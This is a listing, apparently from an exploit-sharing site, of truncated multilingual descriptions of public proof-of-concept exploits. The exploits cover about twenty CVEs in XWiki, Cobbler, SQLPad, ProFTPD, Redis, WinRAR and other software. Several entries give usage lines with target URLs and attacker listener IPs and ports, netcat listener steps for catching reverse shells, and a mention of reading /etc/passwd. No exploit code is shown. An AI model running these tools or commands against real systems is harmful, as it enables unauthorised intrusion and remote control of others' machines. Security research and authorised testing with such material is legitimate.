CVE-2025-24893-Reverse-Shell

CVE-2025-24893 - Exploit de ejecución remota de código en XWiki PoC para CVE-2025-24893 – Ejecución remota de código mediante macro de XWiki Inspirado en el PoC original de Artemir Descripción Este es un exploit de prueba de concepto PoC para CVE-2025-24893 , una vulnerabilidad de ejecución remot...

gerapy-cve-2021-43857

Gerapy CVE-2021-43857 認証済みRCE このリポジトリは、CVE-2021-43857 の概念実証エクスプロイトを含んでいます。これは Gerapy -p -L -P 必要条件 1. Python 3.x 2. requests と pyfiglet pip install requests pyfiglet 3. Netcat nc...

CVE-2024-47533-PoC

CVE-2024-47533 – Cobbler XMLRPC 認証バイパス → リバースシェル 未認証RCE 📌 概要 このリポジトリは CVE-2024-47533 の 概念実証 PoC エクスプロイト です。 Cobbler の XMLRPC API における認証バイパスの脆弱性を悪用し、未認証のリモートコード実行 RCE に至ります。 このエクスプロイトは、XMLRPC API の login メソッドの欠陥を利用して認証を回避し、backgroundimport を介してリバースシェルコマンドを注入します。 ⚠️ 免責事項 このツールは 教育、研究、および許可された侵入テストのみ...

CVE-2024-29510

Investigación original y código POC: https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/ NOTA: No he realizado cambios en el POC aparte del comando ejecutado. Todo el crédito es para Thomas Rinsma @ Codean Labs por su increíble investigación y POC. Escenari...

CVE-2015-8351

gwollebuster 此脚本用于利用 WordPress 旧版插件 gwolle 的漏洞 使用方法: ./gwollebuster.py 第一个参数 = 安装了 gwolle 的 WordPress 目标 URL 第二个参数 = 你的 IP 第三个参数 = 用于反向 shell 的监听端口 示例: ./gwollebuster.py http://vulnpress.com/ 192.168.1.5 1234 此脚本将生成 PHP 反向 shell 脚本并绑定简易服务器， 因此你需要在第一个终端打开两个新终端并监听 netcat，然后使用 curl 命令发起请求，...

CVE-2023-46818

CVE-2023-46818 PoC 这是由 Egidio Romano（又名 EgiX）在此处提供的 PoC 的 Python 实现。该漏洞利用工具将为您弹出一个 WebShell；如需获得完全交互式 shell，请执行一条命令并向自己发送一个反向 shell。 用法 root@kitploit: python exploit.py http://localhost username password 免责声明 本 PoC 的作者对任何人的行为不承担任何责任，请仅在 CTF 或演示中使用此漏洞利用工具。 — Vulner（又名 Abumalik）...

CVE-2022-0944_RCE_POC

CVE-2022-0944 SQLPad RCE CVE-2022-0944 の概念実証エクスプロイトで、攻撃者のPCへのリバースシェルを伴うRCEに至ります。 使用方法 root@kitploit: usage: script.py URL IP PORT positional arguments: URL URL to SQLPad IP Listener host address for reverse shell PORT Listener port for reverse shell 例: root@kitploit: trigger exploit ./script.py...

RemoteMouse-3.008-RCE

CVE-2021-35448 - Remote Mouse 利用工具 描述 此利用工具针对 Remote Mouse（原名 WiFi Mouse）应用程序中的 CVE-2021-35448 漏洞。 POC CVE-2021-35448.webm 使用方法 基本语法 root@kitploit: python3 CVE-2021-35448.py -t OPTIONS 选项 -t, --target：目标 IP 地址（必填） -p, --payload：自定义执行的命令 -r, --reverse：反向 Shell，格式为 IP:PORT -l, --http：本地 HTTP 服务器，格式...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics 1.7.3 - 远程代码执行利用工具 v2 针对 Open Web Analytics 1.7.3 - RCE 的有效利用工具，集成了 pentestmonkey 的 php 反弹 shell，修复了无法在缓存中找到用户的问题。 原始利用代码可在 此处 找到。 使用方式 在 php-reverse-shell.php 文件中填写攻击机 IP 和端口，然后使用 -u 参数指定目标漏洞 URL 运行 exploit.py。 root@kitploit: python3 exploit.py -u...

SQLPad-RCE-Exploit-CVE-2022-0944

工作原理： 此 PHP 代码旨在利用 SQLPad 中与 CVE-2022-0944 相关的远程代码执行（RCE）漏洞。 其工作原理是向 SQLPad 应用程序注入恶意代码，强制其执行系统命令，从而打开一个反向 Shell——这是一种连接，可授予攻击者对存在漏洞系统的远程控制权。 先决条件： PHP CLI ——sudo apt-get install php-cli cURL（PHP cURL 库） ——sudo apt-get install php-curl 使用方法： 1. 设置监听器（在攻击者机器上） 要捕获反向 Shell 连接，请在攻击者的机器上启动 Netcat：...

cve-2015-1538-1

CVE-2015-1538（1）として知られる「stsc」の脆弱性を悪用するMP4を生成するPythonスクリプトです。これは、私がStagefrightライブラリで報告した中でも最も重大な脆弱性の1つです。このエクスプロイトの期待される結果は、mediaユーザーとしてのリバースシェルです。Black HatおよびDEF CONでの発表で詳述したとおり、このユーザーはinet、audio、camera、mediadrmなどのかなり多くのグループにもアクセスできます。これらのグループにより、攻撃者は追加の脆弱性を悪用することなく、遠隔から写真を撮影したりマイクを盗聴したりできます。...

Prestashop-CVE-2024-34716

CSRFおよびリバースシェル攻撃のためのエクスプロイトスクリプト このスクリプトは、CSRF（クロスサイトリクエストフォージェリ）エクスプロイトを自動化し、ターゲットのWebサーバーにPHPリバースシェルをアップロードして実行します。リバースシェルは、細工されたCSRFペイロードを介してZIPファイルとして配信され、特権ユーザーが特定のエンドポイントと対話するとトリガーされます。このスクリプトでは、リバースシェル接続をキャプチャするために、Netcatリスナーを実行している必要があります。 現在は壊れているようです。後で更新します。 必要条件 Netcat :...

ProFTPD_CVE-2015-3306

m4ud ProFTPD 1.3.5 RCE エクスプロイト CVE : 2015-3306! root@kitploit: ProFTPd 1.3.5 RCE Usage: ProFTPD.py options Options: -h, --help show this help message and exit -l LHOST, --lhost=LHOST Local IP Required for Reverse Shell, -p LPORT, --lport=LPORT Port Required for Reverse Shell, -t TARGET,...

RCE-CVE-2025-3248

認証済みCVE-2025-3248 Langflowリモートコード実行 このPythonスクリプトは、CVE-2025-3248 を悪用して、脆弱性のあるシステム上で任意のコマンドを実行したり、リバースシェルを生成したりします。このエクスプロイトを使用するには認証が必要です 。 特徴 認証済みコマンド実行: ターゲット上で任意のシステムコマンドを実行します。 リバースシェル: リスナーにリバースシェルを生成します。 プロキシサポート: プロキシ（例：Burp Suite）を介してリクエストをルーティングします。 必要条件 Python 3.x requests ライブラリ...

fusionpbx_rce_vulnerability

前言 这段简单的代码试图完整实现由Dustin Cobb在使用来电显示实现RCE – FusionPBX的多个漏洞中介绍的链式漏洞。 远程代码执行 复现步骤 1. 在Web浏览器中查看存在漏洞的操作员屏幕，本例位于 https://fusionpbxaddress/app/operatorpanel/index.php 2. 在远程系统（rcelisteneraddress）上启动一个netcat监听器.x 3. 在远程系统的另一个终端窗口中运行下面的漏洞利用代码 python3 .\main.py --closercesockets False --attackeraddress...

Larascript

| | | | | | / || '| / |/ | /|| ' || || ' \ | | | | | | || | | | | | | | | || | || | || , ||| ,|| / ||| ||| ./ | || 作者：@pwnedshell & @rsgbengi 📌 Larascript 是什么？ Larascript 是一个利用 CVE-2018-15133 漏洞的脚本，如果存在漏洞的 Laravel 应用暴露在外，它可以执行远程命令。你可以发送命令并获取响应，例如获取 cat /etc/passwd。但你也可以请求获取一个 shell，它会为你建立一个反向...

CVE-2022-22965-poc

CVE-2022-22965 poc CVE-2022-22965 poc はリバースシェルとパスワードサポートを含みます。 自由に追加してください : テスト方法 root@kitploit: $ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 run vulnerable docker $ python3 exploit.py -c id --password 1234 --shellname big0us $ python3 exploit.py --help for more usages クレジット...

CVE-2023-38831_ReverseShell_Winrar

CVE-2023-38831 このケースでは、WinRARのこの脆弱性を悪用するために必要なファイルを共有します。これにより、悪意のあるPDFを作成し、攻撃者のマシンにリバースシェルを確立することができます。 ⚠️ 注意: このコンテンツは倫理的な目的で共有されており、第三者に危害を加えることなく管理された環境で練習するために作成されています。いかなる場合でも、これらのリソースを悪意のある目的で使用することは推奨されません。 リソースの準備と悪用 まず、リポジトリの内容をダウンロード します。 すべてのリソースを準備して、悪用が正しく機能するようにしましょう。...

CVE-2022-0543

CVE-2022-0543 Luaサンドボックスエスケープ脆弱性を介したRedis RCEの完全なエクスプロイト。参照元: https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/. 特徴: 自動リバースシェル -I + -P 単一コマンド実行 -x 基本シェル デフォルト 今後の予定: 誤検知を防ぐためのより良いチェックが必要 免責事項:...

CVE-2020-14295

CVE-2020-14295 脆弱性の詳細 - https://github.com/Cacti/cacti/issues/3622 インストール pip3 install -r requirements.txt 使用方法 root@kitploit: $ ./gimme-a-shell.py --help usage: gimme-a-shell.py -h -t Target -U Username -P Password -i Shell-IP -p Shell-Port optional arguments: -h, --help このヘルプメッセージを表示して終了 requir...